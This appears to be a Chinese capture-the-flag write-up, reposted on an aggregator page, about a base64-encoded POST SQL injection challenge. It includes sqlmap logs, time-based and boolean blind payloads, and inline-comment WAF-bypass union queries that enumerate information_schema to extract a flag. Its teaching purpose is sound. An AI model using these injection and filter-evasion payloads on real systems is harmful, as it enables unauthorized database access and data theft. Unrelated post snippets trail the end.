mysql post 注入工具类_【Mysql sql inject】POST方法BASE64编码注入write-up
翻到群里的小伙伴发出一道POST型SQL注入题,简单抓包判断出题目需要base64编码后才执行sql语句,为学习下SQL注入出题与闯关的思路+工作不是很忙,所以花点时间玩了一下,哈哈哈哈哈哈哈哈哈
1 function onSearch()2 {3 var pwd=document.forms[0].inText.value;4 $.base64.utf8encode =true;5 document.forms[0].inputText.value=$.base64.encode(pwd);6 document.forms[0].submit();7
**思路过程:**
首先抓包到sqlmap里面测试,这里用firefox的hackbar就可以了。明显看出表单有个隐藏字段提交的内容被base64编码过了,这类题目大多是出于为了让参赛者必须手工测试才这么做的。起初觉得这应该为难不了sqlmap,只要抓包加上–tamper base64encode扩展模块就可以了,后来发现居然只能读取到库名,加-V 5得到详细的playload,还是用sleep时间盲注判断的;what the hell?;
0x01 SQLMAP:
首次测试:列库名
inText=1111&inputText=JyBBTkQgNTY3MD1JRigoT1JEKE1JRCgoSUZOVUxMKENBU1QoREFUQUJBU0
UoKSBBUyBDSEFSKSwweDIwKSksMTIsMSkpPjEpLFNMRUVQKDUpLDU2NzApIEFORCAnRkt6SScgTElLRS
AnRkt6SQ%3D%3D
[18:39:54][TRAFFIC IN] HTTP response [#4613](200OK):
Content-length:1215Content-language: zh-CN
Uri: http://104.224.169.128:80/tasks/web12.php
Server:Apache/2.2.15(CentOS) DAV/2Connection: close
Date:Tue,19Apr201610:39:53GMT
Content-type: text/html
[18:39:55][INFO] retrieved: injecttest2
[18:39:55][DEBUG] performed 95 queries in694.98seconds
current database:‘injecttest2‘[18:39:55][INFO] fetched data logged to text files under ‘C:\Users\Administrato
r\.sqlmap\output\104.224.169.128‘
二次测试:无法找到表名
加-V后获取的完整回显包
sqlmap resumed the following injection point(s)fromstored session:---Parameter:#1*((custom) POST)
Type: AND/OR time-based blind
Title:MySQL>=5.0.12 AND time-based blind
Payload: inText=11111111&inputText=‘AND SLEEP(5) AND‘uYGj‘LIKE‘uYGj
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])---web server operating system:LinuxCentOS6.5web application technology:Apache2.2.15back-end DBMS:MySQL5.0.12available databases [1]:
[*] injecttest2
sqlmap resumed the following injection point(s)fromstored session:---Parameter:#1*((custom) POST)
Type: AND/OR time-based blind
Title:MySQL>=5.0.12 AND time-based blind
Payload: inText=11111111&inputText=‘AND SLEEP(5) AND‘uYGj‘LIKE‘uYGj
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])---web server operating system:LinuxCentOS6.5web application technology:Apache2.2.15back-end DBMS:MySQL5.0.12No tables found
sqlmap resumed the following injection point(s)fromstored session:---Parameter:#1*((custom) POST)
Type: AND/OR time-based blind
Title:MySQL>=5.0.12 AND time-based blind
Payload: inText=11111111&inputText=‘AND SLEEP(5) AND‘uYGj‘LIKE‘uYGj---web server operating system:LinuxCentOS6.5web application technology:Apache2.2.15back-end DBMS:MySQL5.0.12No tables found
提取出SQLMAP的Playload
1 ‘AND 5670=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),12,1))>1),SLEEP(5),5670) AND‘FKzI‘LIKE‘FKzI
0x02 手工测试
了不起手工闭合sql语句的单引号再注入嘛。哼哼哼;
(1)本地测试
摸索了下SQLMAP的playload,查了if()、ord()、mid()、IFNULL()、CAST()等函数用法;
简化sqlmap用sleep()函数,改成判断对错的形式,对比AND 5670=5670的页面返回页面内容长度判断是否存在注入,盲注猜测出数据库名,本地测试测试效果内容如下;
1 mysql>select* from the_flag_table where the_flag_content like ‘%‘ AND 5670=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>116),5671,5670);2 +----------------------+-----------------+
3 | the_flag_content | the_value123456 |
4 +----------------------+-----------------+
5 | flags{Hello,Iamflags|1|
6 | flags2(hello,test)|2|
7 +----------------------+-----------------+
8 2 rows inset(0.00sec) 9 mysql>select* from the_flag_table where the_flag_content like ‘%‘ AND 5670=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>116),5670,5671);10 Emptyset(0.00 sec)
检测数据库名称长度;
1 select* from the_flag_table where the_flag_content like ‘%‘union select (LENGTH((IFNULL(CAST(DATABASE() AS CHAR),0x20)))>11),222--
使用MID()函数查询出每一位的ASCII码是否正确;
‘ AND 5670=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),N,1))>105),5670,5671)--
**得出结果:**
库:injecttest2
用户:[email protected]
(2) 然并卵:
在我测试IF函数注入测得如火如荼的时候,突然群里少年提醒IF函数注入这种情况只能查询出DATABASE() 、USER() 和 VERSION(),即使可以查也无法跨表查询也无法跨表也无法也无….;
此时此刻我的内心是崩溃的。。。
0x03 绕过关键字测试:
只好走回老路,收集mysql注入绕过的相关文章,判断是什么被检测,判断思路;
(1)sql语句某个关键字被过滤如union、select等;
(2)特殊符号被过滤如空格、单引号、等号等;
(3)过滤某段字符串;
测试关键字、符号等情况都未触发检测策略,而当输入“’ union select 1– ”时就会触发到检测策略;
随机找相关文章逐一测试,按照下面两篇文章中提到的绕过IDS/WAF方法测试,测出内联注释的方式可以绕过。而注入点已是base64编码所以文章中的编码可以放弃使用:
《深入了解SQL注入绕过waf和过滤机制》
http://drops.wooyun.org/tips/968
Avoiding Keywords
http://websec.ca/kb/sql_injection
内联注释playload
以下是我运用内联注释的过程Playload;
字段说明
相关的库名 :injecttest2
库名编码后:696e6a6563747465737432
相关的表名:article,__key___in__this
”__key___in__this“表名编码后:0x5f5f6b65795f5f5f696e5f5f74686973
相关字段:keystr
内容获取:Key:d8b3bc4ecd8791fb
‘ order by3--
**库名**
‘/*!union*/ /*!select*/ version(),2,3--‘/*!union*/ /*!select*/ (/*!select*/ schema_name from information_schema.schemata limit 1,1),2,3--
**表名**
‘/*!union*/ /*!select*/ (/*!select*/ table_name from information_schema.tables where table_schema=0x696e6a6563747465737432 /*!*/limit 1,1),2,3--
**字段名**
‘/*!union*/ /*!select*/ (/*!select*/ column_name from information_schema.columns where table_name=0x5f5f6b65795f5f5f696e5f5f74686973 limit 0,1),2,3--
**flag获取**
‘/*!union*/ /*!select*/ (/*!select*/ keystr from __key___in__this limit 0,1),2,3--
懵逼中
在测试的时候有人也用另外一种注释方法绕过了,也把过程补充上来吧。下面是三张实例图;
‘ order by3--‘ union select/*!*/1,2,3--
**库名**‘ union select/*!*/(select/*!*/schema_name from information_schema.schemata limit 0,1),2,3--
‘union select/*!*/(select/*!*/schema_name/*!*/from information_schema.schemata/*!*/limit 1,1),2,3--
**表名**
‘union select/*!*/(select/*!*/table_name/*!*/from information_schema.tables where table_schema=0x696e6a6563747465737432/*!*/limit 1,1),2,3--
**字段名**
‘union select/*!*/(select/*!*/column_name/*!*/from information_schema.columns where table_name=0x5f5f6b65795f5f5f696e5f5f74686973 /*!*/limit 0,1),2,3--
**flag获取**
‘union select/*!*/(select/*!*/keystr/*!*/from __key___in__this/*!*/limit 0,1),2,3--
Playload
inText=1&inputText=%JyB1bmlvbiBzZWxlY3QvKiEqLyhzZWxlY3QvKiEqL3NjaGVtYV9uYW1lLyohKi9mcm9tLyohKi9pbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEvKiEqL2xpbWl0LyohKi8xLDEpLDIsMy0tIC0=
相关实例:
原文:http://www.cnblogs.com/17bdw/p/5411991.html
mysql post 注入工具类_【Mysql sql inject】POST方法BASE64编码注入write-up相关推荐
- java 连接mysql工具类_java连接Mysql数据库的工具类
一个封装好的链接Mysql数据库的工具类,可以方便的获取Connection对象关闭Statement.ResultSet.Statment对象等等 复制代码 代码如下: package myUtil ...
- 【短信发送】实现腾讯云发送短信功能--工具类和SpringBoot配置两种方法实现
实现腾讯云发送短信功能--工具类和SpringBoot配置两种方法实现 一.开通腾讯云短信服务 二.工具类--使用qcloudsms实现短信发送 三.Spring Boot项目引入短信发送功能 我们发 ...
- mysql mybatis 工具类_我肝了一个星期,为你们整理出了mybatis程序配置教程
1.搭建实验数据库 我们创建一个mybatis实验数据库,并创建一个user表为后续实验准备 2.IDEA新建项目,连接数据库 新建一个普通的maven项目 删除src目录,作为父工程 pom.xml ...
- mysql sql注入很常用_常见sql注入的类型
这里只讲解sql注入漏洞的基本类型,代码分析将放在另外一篇帖子讲解 目录 最基础的注入-union注入攻击 Boolean注入攻击-布尔盲注 报错注入攻击 时间注入攻击-时间盲注 堆叠查询注入攻击 二 ...
- MySQL笔记 —— jdbc工具类(网站的修改密码,注册账号,注销账号功能)
在之前的这篇博客里面MySQL笔记 -- jdbc连接数据库(增删改查,sql注入,网站登录检查) 写了网站登录检查的代码,通过将用户输入的用户名和密码与数据库中存储的用户名和密码进行比较,如果一致则 ...
- Mysql雨松工具类使用
资源窗口视图 脚本: 场景例子 普通增删改查例子 Mysql核心工具类 导入dll文件. 导入脚本SqlAccess 使用 主要功能 创建表 private void CreateTable() { ...
- mysql实例管理工具巨杉_实例管理工具_操作_MySQL实例_关系型数据库实例_文档中心_SequoiaDB巨杉数据库...
实例管理工具 sdb_mysql_ctl 是 MySQL 实例组件的管理工具.用户通过 sdb_mysql_ctl 既可以初始化.启动和停止实例,也可以修改实例的引擎配置参数. 参数说明 参数 描述 ...
- spring的beanutils工具类_基于spring-beans实现工具类BeanUtils基于Class实例化注入对象及查找方法、复制属性等操作...
一.前言 基于spring-beans(4.1.4)的工具类org.springframework.beans.BeanUtils对注入spring对象按照Class实例化instantiateCla ...
- mysql mdf数据库恢复_用SQL语句的方法还原数据库
restore filelistonly from disk='D:\website\db_backup\bmfn.bak' restore database BMFN from disk='D:\w ...
- 热血江湖数据库MYSQL修改_热血江湖SQL数据库架设方法
SQL数据库架设方法 第一步:首先是下载SQLSERVER啦. 第二步:安装程序选择SQL2000组件就是第一个--安装数据库服务器还是第一个一直下一步本地计算机一直默认下一步到选择本地系统用户--到 ...
最新文章
- 你有过这样的“反应”吗?
- 一些当前 Node.js 中最流行 ES6 特性的 benchmark (V8 / Chakra)
- 牛客小白月赛5 E 面积 计算三角形面积模板 波尔约-格维也纳定理 匹克公式
- 组合部分标签向量并累加成完整向量
- HDU 4990 Ordered Subsequence --数据结构优化DP
- 关闭TCP连接的学问
- 广东电网计算机专业笔试题目,广东电网笔试题目
- tabulate matlab,matlab中用于统计矩阵数据频率,出现次数的函数
- django-模型类管理器
- rx580网络适配器下载_通过Rx和数据绑定简化RecyclerView适配器
- Java map遍历
- 大数据分析的作用与注意事项
- Android 基于x5Webview 浏览文件 office文档
- go TCP 粘包原理和解决方案
- java jdomxml 换行_使用JDOM读写XML的方法
- xz (压缩文件格式)
- 两个ESP8266一个作为服务器一个作为客户端实现互相通讯
- 研究生放假因疫情未按时返回,扣助研补贴!实验室奇葩规定引热议
- 动力电池产业剧变中,宁德时代拿什么保住“一哥”地位?
- 微信自动回复+图片识别
热门文章
- java设计模式_抽象工厂
- 关于djangorestframework
- BizTalk Server 2010 - 使用 WCF Service [ 中篇 ]
- IDEA---Project下看不见项目目录
- 学生的认知风格类型有哪些_《认知天性》读书笔记
- HTTP与HTTPS之间的联系与连接状态
- linux安装jdk详细步骤,需要有一定的语法基础
- java连不上mysql_eclipse连接不上mysql
- 怎么定义int_「C语言更新」C语言中如何来定义一个指针,并且对其进行初始化...
- python包管理工具pip_pip_python包管理工具(pip)下载 v9.0.1官方版 - 121下载站